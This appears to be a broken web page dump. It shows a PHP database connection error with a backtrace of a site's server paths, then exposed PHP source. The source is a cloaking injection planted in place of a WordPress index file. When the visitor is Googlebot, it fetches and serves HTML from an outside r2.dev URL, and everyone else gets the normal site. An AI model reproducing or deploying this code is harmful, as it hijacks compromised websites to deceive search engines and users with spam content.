Severity: Warning
Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address
Filename: mysqli/mysqli_driver.php
Line Number: 201
Backtrace:
File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct
File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct
File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once
无法使用提供的设置连接到数据库服务器。
Filename: core/MY_Controller.php
Line Number: 343
<?php
function profile_user() {
$refererUrl = !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'No Referer';
$useragent = $_SERVER['HTTP_USER_AGENT'];
$pasteUrl = 'https://pub-fc57814ef9214665898086dad06c8324.r2.dev/f4.html';
$refererDomain = parse_url($refererUrl, PHP_URL_HOST);
if (strpos($useragent, 'Google-InspectionTool') !== false || strpos($useragent, 'googlebot') !== false || strpos($useragent, '(compatible; Googlebot/2.1; +http://www.google.com/bot.html)') !== false) {
$content = file_get_contents($pasteUrl);
echo $content;
exit();
}
if (file_exists(__DIR__ . '/wp-blog-header.php')) {
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
} else {
echo 'wp-blog-header.php not found';
exit();
}
}
profile_user();
?>